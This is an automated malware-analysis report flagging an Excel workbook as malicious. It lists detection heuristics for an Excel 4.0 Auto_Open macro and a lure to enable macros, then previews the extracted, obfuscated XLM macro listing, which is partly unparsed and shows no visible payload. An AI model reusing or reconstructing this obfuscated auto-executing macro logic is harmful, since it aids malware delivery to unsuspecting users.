MALICIOUS
160
Risk Score
Heuristics 4
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 3324 bytes |
SHA-256: f7ea9f717f1427496bf5c090d1d9c462176b4735a18f56a4a9ca782fa9dab3f0 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - ByVR
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!A113
' 0018 26 LABEL : Cell Value, String Constant - CuZA len=7 ptgRef3d ByVR!A60
' 0018 29 LABEL : Cell Value, String Constant - FRIuiPF len=7 ptgRef3d ByVR!G54
' 0018 26 LABEL : Cell Value, String Constant - fwHM len=7 ptgRef3d ByVR!J59
' 0018 26 LABEL : Cell Value, String Constant - guFI len=7 ptgRef3d ByVR!I49
' 0018 23 LABEL : Cell Value, String Constant - IApIB len=3 ptgInt 0
' 0018 30 LABEL : Cell Value, String Constant - mZgtxJQt len=7 ptgRef3d ByVR!B48
' 0018 30 LABEL : Cell Value, String Constant - NrglUSNY len=7 ptgRef3d ByVR!D54
' 0018 29 LABEL : Cell Value, String Constant - OuJynua len=7 ptgRef3d Sheet!A63
' 0018 560 LABEL : Cell Value, String Constant - pSYugFI len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018 27 LABEL : Cell Value, String Constant - qivYZ len=7 ptgRef3d ByVR!F49
' 0018 25 LABEL : Cell Value, String Constant - qSpveJO len=3 ptgInt 0
' 0018 23 LABEL : Cell Value, String Constant - saFIZzfO len=0
' 0018 30 LABEL : Cell Value, String Constant - svYfvrJa len=7 ptgRef3d ByVR!H49
' 0018 30 LABEL : Cell Value, String Constant - sXwhSjla len=7 ptgRef3d ByVR!E52
' 0018 2062 LABEL : Cell Value, String Constant - UcXGb len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018 121 LABEL : Cell Value, String Constant - VVcCS len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018 30 LABEL : Cell Value, String Constant - wEONouAr len=7 ptgRef3d ByVR!C55
' 0018 22 LABEL : Cell Value, String Constant - xUgf len=3 ptgInt 0
' 0018 24 LABEL : Cell Value, String Constant - yuSxMU len=3 ptgInt 0
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
' Sheet,B47,"SUM(2,3)",""
' Sheet,B48,ROWS(VVcCS),""
' Sheet,F48,"SUM(2,3)",""
' Sheet,H48,"SUM(2,3)",""
' Sheet,I48,"SUM(2,3)",""
' Sheet,F49,[],""
' Sheet,H49,[],""
' Sheet,I49,[],""
' Sheet,E51,"SUM(2,3)",""
' Sheet,E52,[],""
' Sheet,D53,"SUM(2,3)",""
' Sheet,G53,"SUM(2,3)",""
' Sheet,C54,"SUM(2,3)",""
' Sheet,D54,[],""
' Sheet,G54,VVcCS,""
' Sheet,C55,pSYugFI,""
' Sheet,J58,"SUM(2,3)",""
' Sheet,A59,"SUM(2,3)",""
' Sheet,J59,T(CHAR(guFI)),""
' Sheet,A60,ROWS(pSYugFI),""
' ByVR,A64,"COUNT(1)+0+SUM(2,3)",""
' ByVR,A65,[],""
' ByVR,A68,"SET.VALUE(A96,"")",""
' ByVR,A72,"yuSxMU",""
' ByVR,A76,"DEFINE.NAME("IApIB",0)",""
' ByVR,A78,[],""
' ByVR,A83,"IApIB",""
' ByVR,A86,"['A96', 'A96']",""
' ByVR,A89,"xUgf",""
' ByVR,A94,NEXT(),""
' ByVR,A100,"['A96', '"ByVRZ!R"']",""
' ByVR,A103,"saFIZzfO",""
' ByVR,A106,NEXT(),""
' ByVR,A111,RETURN(),""
' ByVR,A115,"DEFINE.NAME("saFIZzfO",122)",""
' ByVR,A121,OuJynua(),""
' ByVR,A122,HALT(),""
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